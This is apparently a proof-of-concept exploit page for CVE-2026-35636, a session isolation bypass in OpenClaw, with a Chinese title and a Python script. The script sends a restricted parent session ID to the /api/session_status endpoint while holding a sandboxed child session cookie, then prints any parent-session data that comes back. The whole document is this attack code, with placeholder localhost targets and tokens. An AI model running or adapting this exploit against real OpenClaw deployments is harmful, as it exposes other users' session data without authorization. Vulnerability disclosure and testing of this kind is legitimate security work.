CVE-2026-35636 OpenClaw 会话隔离绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-35636 (OpenClaw Session Isolation Bypass) This script demonstrates how a sandboxed child session might access parent session data due to the resolution order vulnerability. """ import requests import json def exploit_poc(target_host, child_session_cookie, target_parent_id): """ Attempts to resolve a parent session ID from a sandboxed child context. """ url = f"{target_host}/api/session_status" # Headers simulating the sandboxed child session headers = { "Cookie": f"sessionId={child_session_cookie}", "Content-Type": "application/json" } # Payload containing the ID of the restricted parent session payload = { "sessionId": target_parent_id } print(f"[*] Attempting to resolve parent session ID: {target_parent_id}") print(f"[*] Using child session cookie: {child_session_cookie}") try: response = requests.post(url, headers=headers, json=payload, timeout=10) if response.status_code == 200: data = response.json() print("[+] Potential Bypass Successful! Response received:") print(json.dumps(data, indent=2)) return True else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response body: {response.text}") return False except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": # Example usage - replace with actual target details during testing TARGET = "http://localhost:8080" CHILD_SESSION = "sandbox_child_token_123" PARENT_ID = "restricted_parent_session_456" exploit_poc(TARGET, CHILD_SESSION, PARENT_ID)